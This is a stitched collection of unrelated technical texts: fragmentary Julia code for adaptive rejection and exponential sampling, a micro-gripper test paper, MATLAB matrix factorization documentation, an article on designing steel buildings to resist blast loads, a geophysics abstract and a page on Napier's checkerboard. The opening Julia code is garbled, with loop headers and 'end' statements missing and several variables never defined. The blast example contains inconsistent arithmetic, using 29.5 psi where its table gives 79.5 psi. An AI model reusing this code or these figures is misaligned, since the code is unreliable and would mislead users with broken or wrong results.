# derivative of h
function dh(y)
return(r - m * exp(y) / (1 + exp(y)) - (y - mu) / sig2)
function dh(y::Array)
return(r .- m * exp.(y) ./ (1 .+ exp.(y)) .- (y .- mu)./sig2)
# intersection point
function zfix(yfixed::Array)
yf0 = yfixed[1:end-1]
yf1 = yfixed[2:end]
zfixed = yf0 .+ (h(yf0) .- h(yf1) .+ (yf1 .- yf0) .* dh(yf1)) ./ (dh(yf1) .- dh(yf0))
return(zfixed)
# evaluate log-density (not necessary)
function hplus(y::Float64, yfixed::Array)
zfixed = zfix(yfixed)
n = size(zfixed, 1)
if i == 1 && y < zfixed[i]
return(h(yfixed[i]) + (y - yfixed[i]) * dh(yfixed[i]))
elseif i < n && y >= zfixed[i] && y < zfixed[i+1]
return(h(yfixed[i+1]) + (y - yfixed[i+1]) * dh(yfixed[i+1]))
elseif i == n && y >= zfixed[n]
# calculate G_+(z_i)
function gplus_cdf(yfixed::Array, zfixed::Array)
s = zeros(n+1)
pr = zeros(n+1)
## integral from -infty to zi
# s[i] = exp(h(yfixed[i])) / dh(yfixed[i]) * (exp((zfixed[i]-yfixed[i]) * dh(yfixed[i])) - )
s[i] = exp(h(yfixed[i])) / dh(yfixed[i]) * (exp((zfixed[i]-yfixed[i]) * dh(yfixed[i])) - exp((yl-yfixed[i]) * dh(yfixed[i])))
elseif i == n+1
s[i] = exp(h(yfixed[i])) / dh(yfixed[i]) * (exp((yu-yfixed[i]) * dh(yfixed[i])) - exp((zfixed[n]-yfixed[i]) * dh(yfixed[i])))
s[i] = exp(h(yfixed[i])) / dh(yfixed[i]) * (exp((zfixed[i]-yfixed[i]) * dh(yfixed[i])) - exp((zfixed[i]-yfixed[i]) * dh(yfixed[i])))
pr = s / sum(s)
return cumsum(pr), sum(s)
# sample from gplus density
function gplus_sample(yfixed)
gp = gplus_cdf(yfixed, zfixed)
zpr = gp[1]
norm_const = gp[2]
# Invert the gplus pdf
if i == 1 && u < zpr[i]
ey = u * dh(yfixed[i]) * norm_const / exp(h(yfixed[i])) + exp((yl-yfixed[i])*dh(yfixed[i]))
return(yfixed[i] + log(ey)/dh(yfixed[i]))
elseif i == n && u >= zpr[i]
ey = (u - zpr[i]) * dh(yfixed[i+1]) * norm_const / exp(h(yfixed[i+1])) + exp((zfixed[i]-yfixed[i+1])*dh(yfixed[i+1]))
return(yfixed[i+1] + log(ey)/dh(yfixed[i+1]))
elseif i < n && u >= zpr[i] && u < zpr[i+1]
Back to the main sampling algorithm, we can implement the procedure as follows:
## adaptive rejection sampling
function ars(yfixed::Array)
x = gplus_sample(yfixed)
if u <= exp(h(x)-hplus(x, yfixed))
return(ars(append!(yfixed, x)))
res = ones(N);
res[i] = ars([-1.8,-1.1,-0.5,-0.2])
Based on the ARS algorithm, we can also get the Supplemental ARS algorithm:
The inverse transform sampling from a uniform distribution can be easily used to sample an exponential random variable. The CDF is
F(x) = 1-\exp(-\lambda x)\,,
whose inverse function is
F^{-1}(y) = -\frac{\log(1-y)}{\lambda}\,.
Thus, we can sample
U\sim U(0, 1)
, and then perform the transfomation
-\frac{\log U}{\lambda}\,.
Today, I came across another method from Xi'an's blog, which points to the question on StackExchange.
Still confused about the details, as commented in the code.
The theoretical part is as follows,
I rewrite the provided C code in Julia, and compare the distribution with samples from inverse CDF and the package Distributions
a = [exp_rand() for i=1:1000]
b = [-log(rand()) for i=1:1000]
c = rand(Exponential(1), 1000)
histogram(a, bins=40, label = "sexp")
histogram!(b, bins=40, alpha=0.5, label = "invF")
histogram!(c, bins=40, alpha=0.5, label = "rand")
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Experimental Study on Electrostatically Actuated Micro-Gripper Based on Silica Process
Experimental Study on Electrostatically Actuated Micro-Gripper Based on Silica Process ()
Department of Precision Instruments and Mechanology, Tsinghua University, Beijing, China.
The characteristics of a kind of comb-drive electrostatic actuated micro-gripper are tested. The test platform using a microscope-CCD-computer, the state information of the micro-gripper obtained by data acquisition and image processing, voltage-displacement characteristic curve is obtained and the mathematical equation is established. The analysis of the characteristic equation has shown the consistency and rationality of the theoretical design and the experimental results. The main factors that cause the difference between the theoretical design and the actual test performance are analyzed, and the design method and experimental results is obtained for the micro-gripper in the field of micro-assembly.
Micro-Gripper, Image Process, Experimental Analysis
Yang, P. , Li, Y. , Li, Y. and Li, Q. (2017) Experimental Study on Electrostatically Actuated Micro-Gripper Based on Silica Process. World Journal of Engineering and Technology, 5, 126-133. doi: 10.4236/wjet.2017.54B014.
There is currently a lack of full understanding that the law of motion of the mechanical system in microscopic conditions, physical and mechanical properties of small components behavior. The theory of micro-system design and methods has not yet formed perfect. As a kind of important method, the micro-device detection technology, not only can test the quality of micro-devices and micro-electromechanical systems, but also provides a means of verification for the basic theoretical research.
Micro-gripper is a main tool of micro-operation, which can link the macro and micro-world. The main body of the proposed micro-gripper is micro-clamp based on cantilever beam, with the advantages of large output force and large displacement [1], as shown in Figure 1. The micro-gripper is actuated electrostatically
Figure 1. Electrostatically actuated micro-gripper based on silicon bulk micromachining process.
by a kind of comb structure based on the bulk silicon process. The gripper is composed of micro-claw, limit structure and comb driver. In order to reduce the internal stress, the clamping arm is designed as an S-shaped flexible structure. The micro-gripper has a large depth-width ratio: the structure thickness is 60 μm; the comb width is 6 μm, the depth-width ratio is 10:1; the comb tooth gap is 4 μm, the depth-width ratio is 15:1, the maximum size of the micro-gripper is 2465 μm, and the opening and closing value of the gripper is 12 - 140 μm. The clamping arm is used as a conductor and ground, the actuation mode of the fixed comb tooth with driving voltage, electrostatic drive will not be a negative impact on the object being held. The gripper has the characteristics of simple technology, profitable controllability, large clamping range and holding force. It is suitable for many micro-operation tasks.
2. Micro-Gripper Test
Electrostatic actuated micro-gripper is the electromechanical coupling device. The input is voltage and the output is mechanical displacement. The micro-gripper is tested by electrostatic actuated open-loop control. The tip of the micro-gripper has a displacement range of only a few dozen microns, and it is impossible to measure by conventional geometrical measurement tools. The microscope-CCD-computer test scheme is adopted as shown in Figure 2. Micro-gripper magnified by microscope and CCD-camera, the image processing and information collection are obtained by computer. The range of drive voltage of micro-clamp is set at 0 - 80 V. The battery power supply is adopted in order to reduce the electromagnetic interference.
During the test, it was found that the parasitic charge generated by the device itself and the electrostatic interference of the external environment had a great influence on the micro-gripper. The main reason was as follows: when the driving voltage was not applied, the micro-clamping arm was in the deflecting position. The phenomenon of limit structure occurred by micro-clamping arm contacts to the instruments, workstations and other operators. These problems greatly affect the micro-gripper characteristics of the test work. Therefore, avoiding electrostatic interference is the main task to ensure the smooth operation of the experiment. External electrostatic interference can be avoided by controlling
Figure 2. Schematic of test system for micro-gripper.
the environmental humidity, avoiding the electrostatic objects contact with micro-devices and their leads, lead grounding and other methods. Grounding the individual electrodes is a method to prevent the parasitic charge of the devices affecting themselves when the micro-gripper is stored.
In order to obtain the value of opening and closing of the micro-gripper at different voltages, it is necessary to quantize the collected images. The original image is collected, as shown in Figure 3. It is difficult to quantify it for the following reasons:
・ The contrast and boundary of image is not obvious because the surface of gripper sputtered the gold film as the lead bonding layer.
・ The “shadow” area of the no aurum film is obvious due to the structure block during the production of micro-gripper.
・ Impurity interference in the image.
It can be seen that the quality of the restored image is poor. Therefore, the following image processing methods are used [2]:
1) Adjust the gray scale distribution. The original image of the gray distribution is very narrow, as shown in Figure 4. Grayscale histogram shows the distribution of gray value strength. It is difficult to distinguish between the objects and background directly. The gray value of 100 - 255 pixels shows a good enhancement effect.
2) Edge extraction. As shown in Figure 5. If the gray value of the column pixel is quantified directly, it is hard to select the gray threshold of the boundary of the micro-clamping arm. Therefore, the Sobel operator is used to extract the edge, and the result is shown in Figure 6. Compared with the original image, the edge extraction method can detect the micro-clamping arm contour accurately, but the side of the edge is blurred.
3) Quantitative processing. The pixels in the x1 - x2 region in Figure 5, are projected onto x0 along the Y axis. As x1x0 ＝ x0x2 , according to the regularity and probability principle of the image distribution, the center of the Y-direction of the micro-clamping arm after projection is coincident or has a little error with the actual position, the deformation value of micro-clamping arm tip can be acquired by searching along from x0. The intersections of x0 axis and y2 axis, y3 axis are the quantization result as shown in Figure 5.
Figure 3. Original image of micro-gripper.
Figure 4. Grayscale histogram of original image.
Figure 5. Result of image process.
Figure 6. Image of edge detection.
3.1. Displacement Characteristics
The quantitative process of the image collected by the micro-gripper at different drive voltages, voltage-displacement characteristic curve obtained by the displacement variation from equilibrium to the closure process, as shown in Figure 7. The discrete data is quadratic.
d\left(u\right)={a}_{2}{u}^{2}+{a}_{1}u+{a}_{0}
The voltage-displacement equation of the micro-gripper can be described as:
d\left(u\right)＝0.\text{11}0\text{92}{u}^{2}-0.\text{138}0\text{8}u+0.\text{47233}
where u is the applied drive voltage and d (u) is the displacement of the tip of the micro-gripper at drive voltage u.
There are three items in Equation (1).
1) a2u2 = 0.11092u2 indicate the working characteristics of the comb electrostatic actuator, the electrostatic force is independent of the displacement and is proportional to the square of the driving voltage. The single interdigital comb electrostatic actuator model is shown in Figure 8.
Figure 7. Voltage-displacement characteristic of micro-gripper.
Figure 8. Model of comb-drive actuator.
d represents the interdigital spacing, h and t are width and thickness, l is the overlapping length of the moving finger, and g is the distance between the tip of the fork and the root of the corresponding fork. The electrostatic driving force is expressed as [3]:
{F}_{X}=\frac{1}{2}\left(\frac{\partial C}{\partial x}\right){U}^{2}=\frac{1}{2}\left[\frac{\partial }{\partial x}\left(\frac{2\epsilon lt}{d}\right)\right]{U}^{2}=\frac{\epsilon t}{d}{U}^{2}
where C is the capacitance of the interdigitated structure and ε is the dielectric constant. Εt/d in Equation (2) corresponds to a2, which reflects the structural parameters of the comb driver.
2) a1u = −0.13808u shows that the displacement of the micro-clamping arm has a linear relation with the driving voltage, because the micro-clamping arm has a rigid connection with the fixed end, therefore, the stress and the displacement of micro-clamping arm is proportional. This form indicates the stress caused by the displacement of the micro-clamping arm.
3) a0 = 0.47233 shows the error of the test system is mainly from the accuracy of the image recognition and the error of the quadratic fitting. The error of the former is about 0.3 μm, and the error of the quadratic fitting constant is 0.19655. Therefore, the existence and the size of a0 are reasonable.
Equation (2) indicates the relationship between the driving voltage and the micro-clamping arm in the unloading state. This above analysis shows the rationality and provides the basis for the open-loop control of the micro-gripper.
3.2. Design Error Analysis
According to the design parameters, the drive voltage is 47.5 V when the micro-clamping arm moved to the maximum displacement, but the drive voltage during test is only 14.5 V. This difference reflects the design error, the errors of micro-clamping force and micro-clamping arm displacement are mainly caused by the following areas [4] [5]:
Difference between actual size and design value. The actual geometrical dimensions of the micro-gripper are shown in Figure 9, (design dimensions in brackets), indicating that the actual dimensions of the device differ from the design size greatly. There are many reasons for the difference in geometric dimensions: first, the alignment error of the mask pattern is ±0.3 μm, in the photolithography process, the deformation of the graphics size accuracy caused by overexposure or underexposure, also introduction of errors, which lead to micro-mechanical parts of the location and size of the low accuracy. Second, in the process of ICP deep etching, the difference of the factors such as the structure, material and the corrosion temperature result the errors of the geometry size on the different parts of the same device. During the test, the proportion between actual size of the processing and the design value is 0.85 - 0.90. The mechanical inertia is only 0.729 (0.93) times of the design value. This makes the micro-clamping arm more flexible.
Figure 9. SEM image of microgripper.
Electrostatic force estimation error. The Equation (2) is used as the calculation formula of the electrostatic force, which does not take into account the edge effect of the capacitor, but the edge effect is obvious that the ratio of the actual side length to the comb tooth gap is 7.5 - 15, therefore, the actual driving force of the comb drive is higher than the design value, the micro-clamping force output will be better than the design value.
Effect of material properties on the gripper. Monocrystalline silicon elastic modulus distribution between 125 - 202 GPa [6], the design used in the value is 169 GPa, is about the commonly used monocrystalline silicon elastic modulus of the median. Uncertainty in material performance, the design phase accurately estimates the performance of the device.
The effect of erosion on the gripper. The main problems in the process of inductively coupled plasma (ICP) etching are etch and hysteresis. Etching phenomenon is the main factor in this case. As shown in Figure 10. When erosion happened, lateral etching leading to a rapid decrease in the depth direction of the structure. The width of the slot has a great impact on the etching rate. The higher the width of the groove, the faster the etch rate is, and the effect on the fine structure is significant. The etching phenomenon happened even in normal etch process, especially when the structure has a large depth-width ratio, it will lead to the difference between the depth direction size and the design value in the structure.
The test method of the voltage-displacement characteristic curve of the micro-gripper is feasible, and the characteristic equation of the micro-gripper is obtained by the microscope-CCD-computer test system. The analysis of the characteristic equation shows the consistency and rationality of the theoretical design and the experimental results. It is different between micro-mechanical design and macro-mechanical because of the particular nature of micro devices,
Figure 10. Schematic of footing effect.
therefore, the rule of electrostatically actuated based microscale structure still need to further study and improve.
This research work was supported by the National Natural Science Foundation of China under Grant No.61362035, No.51275259 and the National Important Scientific Instrument Development Program of China under Grant No. 2011YQ030134.
[1] Millet, O., Bernardoni, P., Régnier, S., Bidaud, P., Tsitsiris, E., Collard, D. and Buchaillot, L. (2004) Electrostatic Actuated Micro Gripper Using an Amplification Mechanism. Sensors and Actuators A: Physical, 114, 371-378. https://doi.org/10.1016/j.sna.2003.11.004
[2] Tang, W.C., Nguyen, T.H. and Howe, R.T. (1989) Laterally Driven Polysiclion Resonant Structures. Proc. IEEE Micro Electro Mechanical Systems Workshop, February 1989, 53-59.
[3] Legtenberg, R., Groeneveld, A.W. and Elwenspoek, M. (1996) Comb-Drive Actuators for Large Displacements. Journal of Micromechanics and Microengineering, 6, 320. https://doi.org/10.1088/0960-1317/6/3/004
[4] Reaz, M.B.I., Hussain, M.S. and Mohd-Yasin, F. (2006) Techniques of EMG Signal Analysis: Detection, Processing, Classification and Applications. Biological Procedures Online, 8, 11-35. https://doi.org/10.1251/bpo115
[5] Bhushan, B. and Li, X.D. (1997) Micromechanical and Tribological Characterization of Doped Single-Crystal Silicon and Polysilicon Films for Microe-lectromechanical Systems Devices. J. Mater. Res, 1997, 54-63. https://doi.org/10.1557/JMR.1997.0010
[6] Wu, J.G. and Bin, H.Z. (2007) Dimensional Inspecting System of Thin Sheet Parts Based on Machine Vision. Optics and Precision Engineering, 1, 22.
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Factorizations - MATLAB & Simulink - MathWorks France
Using Multithreaded Computation for Factorization
All three of the matrix factorizations discussed in this section make use of triangular matrices, where all the elements either above or below the diagonal are zero. Systems of linear equations involving triangular matrices are easily and quickly solved using either forward or back substitution.
The Cholesky factorization expresses a symmetric matrix as the product of a triangular matrix and its transpose
where R is an upper triangular matrix.
Not all symmetric matrices can be factored in this way; the matrices that have such a factorization are said to be positive definite. This implies that all the diagonal elements of A are positive and that the off-diagonal elements are “not too big.” The Pascal matrices provide an interesting example. Throughout this chapter, the example matrix A has been the 3-by-3 Pascal matrix. Temporarily switch to the 6-by-6:
The elements of A are binomial coefficients. Each element is the sum of its north and west neighbors. The Cholesky factorization is
The elements are again binomial coefficients. The fact that R'*R is equal to A demonstrates an identity involving sums of products of binomial coefficients.
The Cholesky factorization also applies to complex matrices. Any complex matrix that has a Cholesky factorization satisfies
and is said to be Hermitian positive definite.
The Cholesky factorization allows the linear system
Because the backslash operator recognizes triangular systems, this can be solved in the MATLAB® environment quickly with
If A is n-by-n, the computational complexity of chol(A) is O(n3), but the complexity of the subsequent backslash solutions is only O(n2).
LU factorization, or Gaussian elimination, expresses any square matrix A as the product of a permutation of a lower triangular matrix and an upper triangular matrix
where L is a permutation of a lower triangular matrix with ones on its diagonal and U is an upper triangular matrix.
The permutations are necessary for both theoretical and computational reasons. The matrix
\left[\begin{array}{cc}0& 1\\ 1& 0\end{array}\right]
cannot be expressed as the product of triangular matrices without interchanging its two rows. Although the matrix
\left[\begin{array}{cc}\epsilon & 1\\ 1& 0\end{array}\right]
can be expressed as the product of triangular matrices, when ε is small, the elements in the factors are large and magnify errors, so even though the permutations are not strictly necessary, they are desirable. Partial pivoting ensures that the elements of L are bounded by one in magnitude and that the elements of U are not much larger than those of A.
The LU factorization of A allows the linear system
to be solved quickly with
Determinants and inverses are computed from the LU factorization using
You can also compute the determinants using det(A) = prod(diag(U)), though the signs of the determinants might be reversed.
An orthogonal matrix, or a matrix with orthonormal columns, is a real matrix whose columns all have unit length and are perpendicular to each other. If Q is orthogonal, then
The simplest orthogonal matrices are two-dimensional coordinate rotations:
\left[\begin{array}{cc}\mathrm{cos}\left(\theta \right)& \mathrm{sin}\left(\theta \right)\\ -\mathrm{sin}\left(\theta \right)& \mathrm{cos}\left(\theta \right)\end{array}\right].
For complex matrices, the corresponding term is unitary. Orthogonal and unitary matrices are desirable for numerical computation because they preserve length, preserve angles, and do not magnify errors.
The orthogonal, or QR, factorization expresses any rectangular matrix as the product of an orthogonal or unitary matrix and an upper triangular matrix. A column permutation might also be involved:
where Q is orthogonal or unitary, R is upper triangular, and P is a permutation.
There are four variants of the QR factorization—full or economy size, and with or without column permutation.
Overdetermined linear systems involve a rectangular matrix with more rows than columns, that is m-by-n with m > n. The full-size QR factorization produces a square, m-by-m orthogonal Q and a rectangular m-by-n upper triangular R:
In many cases, the last m – n columns of Q are not needed because they are multiplied by the zeros in the bottom portion of R. So the economy-size QR factorization produces a rectangular, m-by-n Q with orthonormal columns and a square n-by-n upper triangular R. For the 5-by-4 example, this is not much of a saving, but for larger, highly rectangular matrices, the savings in both time and memory can be quite important:
In contrast to the LU factorization, the QR factorization does not require any pivoting or permutations. But an optional column permutation, triggered by the presence of a third output argument, is useful for detecting singularity or rank deficiency. At each step of the factorization, the column of the remaining unfactored matrix with largest norm is used as the basis for that step. This ensures that the diagonal elements of R occur in decreasing order and that any linear dependence among the columns is almost certainly be revealed by examining these elements. For the small example given here, the second column of C has a larger norm than the first, so the two columns are exchanged:
When the economy-size and column permutations are combined, the third output argument is a permutation vector, rather than a permutation matrix:
The QR factorization transforms an overdetermined linear system into an equivalent triangular system. The expression
Multiplication by orthogonal matrices preserves the Euclidean norm, so this expression is also equal to
where y = Q'*b. Since the last m-n rows of R are zero, this expression breaks into two pieces:
When A has full rank, it is possible to solve for x so that the first of these expressions is zero. Then the second expression gives the norm of the residual. When A does not have full rank, the triangular structure of R makes it possible to find a basic solution to the least-squares problem.
MATLAB software supports multithreaded computation for a number of linear algebra and element-wise numerical functions. These functions automatically execute on multiple threads. For a function or expression to execute faster on multiple CPUs, a number of conditions must be true:
lu and qr show significant increase in speed on large double-precision arrays (on order of 10,000 elements).
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Simplified Blast Design According to AISC Steel Design Guide 26 | Dlubal Software
Home Support & Learning Support Knowledge Base Simplified Blast Design According to AISC Steel Design Guide 26
Reflected Blast Wave Angle of Incidence
Simplified Blast Pressure-Time History Diagram
AISC Design Guide 26 - Example 2.1 Steel Structure in RFEM
Front Wall Pressure-Time Plot
Side Walls and Roof Pressure-Time Plot
Rear Wall Pressure-Time Plot
Combined Pressure-Time Plot
Front Wall Area Load Perpendicular to the Blast Load
RF-DYNAM Pro - Forced Vibrations Time Diagram Definitions
RF-DYNAM PRO - Forced Vibrations Time Diagram and RFEM Area Load Definitions
Blast loads from high energy explosives, either accidental or intentional, are rare but may be a structural design requirement. These dynamic loads differ from standard static loads due to their large magnitude and very short duration. A blast scenario can be carried out directly in a FEA program as a time history analysis to minimize loss of life and evaluate varying levels of structural damage.
AISC Steel Design Guide 26 - Design of Blast Resistant Structures [1] and in particular Example 2.1 - Preliminary Evaluation of Blast Resistance of a One-Story Structure is an ideal reference to guide engineers though a simplified blast design load application.
Idealized Blast Load Pressure-Time History
An idealized pressure-time history diagram shows how the pressure force varies over time after the explosion takes place.
A few of the most important parameters are listed directly on the diagram including:
Peak overpressure (Pr or Pso) ... The instantaneous pressure arriving at the structure above the ambient atmospheric pressure.
Positive phase duration (td) ... The time period for the pressure to return to ambient.
Positive impulse (I) ... The total pressure-time energy applied during the positive duration calculated by the area under the curve.
Negative phase duration (td-) ... The time period following the positive phase where pressure falls below atmospheric pressure.
Notice there are two different curves represented in the idealized pressure-time history diagram including the "side-on blast load" and the "reflected blast load" indicated by the dashed line and solid line, respectively. The side-on blast load (also called free-field blast load) includes the subscript "so" used commonly throughout literature. This indicates where blast load travels parallel to a surface rather than perpendicular. Essentially, the load will sweep over the surface with no impeding objects. An example of this includes a side wall parallel to a blast load or a rear wall with no immediate exposure to the blast.
In turn, the reflected blast load, indicated by the subscript "r", is where the blast wave strikes an angled surfaces other than parallel. To determine the reflected pressure, Pr, the following equation can be used.
Where, Pso is the side-on pressure and Cr is the reflection coefficient. Cr is a function of the angle of incidence and side-on pressure. The image below demonstrates how the angle of incidence can be calculated when considering the initial blast wave direction and the reflected wave normal to the surface.
Once the angle of incidence is determined, Figure 2-193 given in the United Facilities Criteria (UFC) 3-340-02 - Structures to Resist the Effects of Accidental Explosions [2] can be used to provide the Cr value based on the Peak Incident Overpressure value.
Simplified Blast Load Pressure-Time History
For design purposes, the idealized plot shown above is simplified to a triangular distribution with an instantaneous rise and linear decay under the positive phase. To maintain peak overpressure from the idealized plot as well as impulse (area under the curve), a fictitious time duration, te, is approximated as te = 2(I/P).
Extensive research to determine the relationship between charge weight, the standoff distance (distance from the structure to the explosion), and the blast parameters defined in the pressure-time plot have previously been carried out. Technical manuals such as resource [2] include the air blast parameters as a function of the scaled distance in the form of empirical blast parameter curves.
The negative phase is often ignored for simplification with simple structures as there is little impact from the blast analysis. However, the negative phase becomes increasingly important when the structure's elements are weaker in the reverse loading direction or have a short fundamental period with respect to the load duration.
Additional variables which may have influence on the blast analysis for the purposes of this article have not been taken into consideration such as drag forces due to wind or dynamic pressures, adjacent building shielding (load reduction) and reflection (load amplification), and interior loads due to the blast wave entering the structure's openings.
AISC Design Guide 26 - Example 2.1 in RFEM
AISC Design Guide 26 - Example 2.1 [1] is an ideal reference example to apply the blast load analysis in RFEM which follows the above assumptions. The example structure is a one-story steel building with 50 ft (W) ⋅ 70 ft (L) ⋅ 15 ft (H) dimensions. In the structure's short direction, braced frames are modeled in RFEM as hot rolled W-sections, while in the long direction, rigid frames are also modeled with W-sections. The girts and purlins are modeled with hot-rolled C-sections. The building façade includes ribbed metal panels.
The explosion has a charge weight of 500 lbs and occurs 50 ft from the front face of the structure slightly above ground elevation. With this information, the scaled distance, Z, is then calculated according to the following equation.
Front Wall Scaled Distance
\mathrm{Z} = \frac{\mathrm{R}}{\sqrt[3]{\mathrm{W}}} = \frac{50 \mathrm{ft}}{\sqrt[3]{500 \mathrm{lb}}} = 6.3 \frac{\mathrm{ft}}{{\mathrm{lb}}^{1/3}}
R Distance from element to charge
W TNT equivalent charge weight
Using the scaled distance, Figure 2-15 from [2] can be utilized to directly determine the positive blast wave parameters for the reflected and side-on pressure listed below in Table 1.
Blast Loading Parameter
From Figure 2-15 [2]
Reflected peak pressure (+) Pr = 79.5 psi -
Side-on peak pressure (+) Pso = 24.9 psi -
Reflected impulse (+) Ir = 31.0W1/3 Ir = 246 psi ms
Side-on impulse (+) Iso = 12.1W1/3 Iso = 96.0 psi ms
Time of arrival ta = 1.96W1/3 ta = 15.6 ms
Exponential load duration (+) td = 1.77W1/3 td = 14.0 ms
Shock front velocity U = 1.75 ft/ms -
Because the front wall is directly facing the initial explosion, the "reflected" variables in Table 1 are applicable to this surface. The simplified triangular approach requires the equivalent duration to be calculated to ensure the impulse (area under the curve) is preserved over the positive duration phase.
te,r = 2Ir / Pr = 2(246 psi ms) / 29.5 psi = 6.19 ms
The initial pressure-time plot is now complete for the front wall.
For simplicity, the scaled distance, Z, calculated for the front wall is used to determine the blast variables for the building's side walls and roof. Therefore, the side-on values in Table 1 above are used to define the pressure-time plot for this section of the building. A more detailed calculation could be carried out to consider the blast wave reduction as a function of the side wall and roof distance from the explosion.
The equivalent duration, te, is calculated using the side-on variables.
te,so = 2Iso / Pso = 2(96.0 psi ms) / 24.9 psi = 7.71 ms
The scaled distance, Z, for the rear wall is modified to consider the additional length of the building. The distance is now 50 ft + 70 ft for a total of 120 ft. Therefore, Z is calculated as the following.
Rear Wall Scaled Distance
\mathrm{Z} = \frac{\mathrm{R}}{\sqrt[3]{\mathrm{W}}} = \frac{120 \mathrm{ft}}{\sqrt[3]{500 \mathrm{lb}}} = 15.1 \frac{\mathrm{ft}}{{\mathrm{lb}}^{1/3}}
Figure 2-15 from [2] can be utilized again to determine the positive blast wave parameters for the side-on pressure listed below in Table 2.
Side-on peak pressure (+) Pso = 4.60 psi -
Side-on impulse (+) Iso = 5.54W1/3 Iso = 44.0 psi ms
The rear wall equivalent duration, te, can be calculated with the relevant variables above.
te,so = 2Iso / Pso = 2(44.0 psi ms) / 4.60 psi = 19.1 ms
Because the rear wall height is 15 ft above the ground elevation where the blast is taking place, there is not an instantaneous rise in pressure. Rather, the velocity of the blast wave, the rear wall height, and time of arrival are used to calculate the time to peak pressure, t2.
t2 = L1 / U + ta = 15.0 ft / 1.26 ft/ms + 66.0 ms = 77.9 ms
The time to the end of the blast load, tf, can now be determined.
tf = t2 + te,so = 77.9 ms + 19.1 ms = 97.0 ms
Combining all rear wall variables calculated above, the pressure-time plot for this section of the building is complete.
Blast Load Summary
The front, side/roof, and rear walls can be compiled together to display the total pressure vs. time and illustrate how the blast wave will impact the different areas of the structure over time.
This information can now be taken into the RFEM and the RF-DYNAM Pro-Forced Vibrations add-on modules for the time diagram definitions.
Application in RFEM
Now that the pressure-time diagrams have been defined for the various sections of the building, this information can be taken into the RF-DYNAM Pro-Forced Vibrations add-on module within RFEM.
RF-DYNAM Pro-Natural Vibrations to determine the structures natural periods, frequencies, and mode shapes is required before running the time-history analysis. This portion of the analysis is not discussed in detail for the purposes of this article.
For the time-history analysis, a general area load is applied as three separate load cases in RFEM to emulate the blast load location on the structure including LC1 - Front Wall, LC2 - Side Wall/Roof, and LC3 - Rear Wall. A magnitude of 1 kip/ft2 is used only as a placeholder as this value will later be dependent on the time-history function.
In RF-DYNAM Pro-Forced Vibrations, the time diagrams are defined for each region of the structure.
Notice, each time diagram reflects the information determined above such as the peak pressure and equivalent duration for the front wall, side walls/roof, and rear wall.
Once the time diagrams are defined, the general area loads in RFEM are directly linked to the relevant diagram.
Additional variables must also be set in the add-on module before running the analysis such as the linear implicit Newmark analysis solver, a maximum time of 0.5 seconds for the time-history analysis duration, and a time step of 0.001 seconds to be used in the calculation. Additionally, utilizing the angular frequency from the two dominant modes calculated with the natural frequency analysis along with a Lehr's damping ratio of 2 %, the Rayleigh damping coefficients a and β are also set in the module.
All relevant information is now defined for the blast time-history analysis and the RFEM and RF-DYNAM Pro calculation can be run. Evaluation tools such as the time-course monitor in RFEM can be used to assess the structure's response and safety over the course of the blast explosion. For a detailed demonstration of AISC Design Guide 26 Example 2.1 [1] in RFEM, refer to the previously recorded webinar Blast Time History Analysis in RFEM.
Dynamic Time History Blast Explosion FEA AISC DG 26 UFC 3-340-02
New Modal Analysis in RFEM 6 Using a Practical Example New Using the Building Model Add-on in RFEM 6 to display Story Actions, Interstory Drifts, and Forces in Shear Walls Seismic Analysis in RFEM 6 Simplified Vibration Design for EC 5
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Delineating hydrothermal stockwork copper deposits using controlled-source and radio-magnetotelluric methods: A case study from northeast IranCSTMT and RMT in mineral exploration | Geophysics | GeoScienceWorld
Mehrdad Bastani;
Geological Survey of Sweden (SGU), Uppsala, Sweden. E-mail: mehrdad.bastani@sgu.se.
Uppsala University, Department of Earth Sciences, Uppsala, Sweden. E-mail: alireza.malehmir@geo.uu.se; nazli.ismail@geo.uu.se; laust.pedersen@geo.uu.se.
Nazli Ismail;
Laust B. Pedersen;
Kahanroba Engineering Company, Tehran, Iran. E-mail: kahanroba@kahanroba.com.
Mehrdad Bastani, Alireza Malehmir, Nazli Ismail, Laust B. Pedersen, Farhang Hedjazi; Delineating hydrothermal stockwork copper deposits using controlled-source and radio-magnetotelluric methods: A case study from northeast Iran. Geophysics 2009;; 74 (5): B167–B181. doi: https://doi.org/10.1190/1.3174394
Radio- and controlled-source-tensor magnetotelluric (RMT and CSTMT) methods are used to target hydrothermal veins of copper mineralization. The data were acquired along six east-west- and three north-south-trending profiles, covering an area of about
500×400m2
. The tensor RMT data were collected in the
10–250-kHz
frequency band. A double horizontal magnetic dipole transmitter in the
4–12.5-kHz
frequency range allowed us to constrain the deeper parts of the resistivity models better. To obtain optimum field parameters, ground magnetic profiling was conducted prior to the RMT and CSTMT surveys. Although the study area (in Iran) is remote, a number of radio transmitters with acceptable signal-to-noise ratio were utilized. The 2D inversion of RMT data led to unstable resistivity models with large datamisfits. Thus, the RMT data were used to complement and analyze the near-surface resistivity anomalies observed in the 2D CSTMT models. Analyses of strike and dimensionality from the CSTMT data suggests that the low-resistivity structures are mainly three dimensional; therefore, 2D inversion of determinant data is chosen. Independent 2D inversion models of the determinant CSTMT data along crossing profiles are in good agreement. Known copper mineralization is imaged well in the CSTMT models. The thinning of the conductive overburden correlates very well with magnetic highs, indicating the bedrock is resistive and magnetic. In this sense, the magnetic and electromagnetic fields complement each other. Analysis of the 2D resistivity models indicates the volcanic rock deepens at the center of the study area. This zone is associated with a magnetic low and therefore is recommended for detailed exploration work.
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Napier’s Checkerboard - Global Math Week
The concept of Exploding Dots has been around for many centuries, though not necessarily visualized as dots in boxes (and certainly not as exploding dots).
The ancient counting and arithmetic device, an abacus, is simply a
1 \leftarrow 10
machine. Its simplest version is just a series of rods held in a frame with each rod holding ten beads. One slides beads up rods to represent numbers and, in performing calculations, whenever ten beads reach the top of one rod, one slides them down (they “explode”) and raises one bead up on the rod one place to their left in their stead.
Comment: A more modern abacus has a cross bar with five beads on each rod below the bar and two beads above it, with each of those two beads representing a group of five. One slides beads to touch the cross bar. Thus
8
, for example, is represented on a rod as three beads touching the cross bar from below and one bead touching the cross bar from above. This version of the abacus is a
1 \leftarrow 10
machine that has a special dot (a blue dot, perhaps) that represents five dots in a box.
Five centuries ago, Scottish mathematician John Napier (1550 – 1617), best known for his invention of logarithms, actually discovered and worked with a
1 \leftarrow 2
machine, but he found it useful to stack rows of boxes on top of one another to make a grid of squares, with each row being its own
1 \leftarrow 2
He suggested using a physical copy this grid, a wooden board or square sheet of cloth marked into squares, and beads or counters.
With this board, Napier showed the world how to add, subtract, multiply and divide numbers. He also felt it was useful for computing integer square roots of numbers!
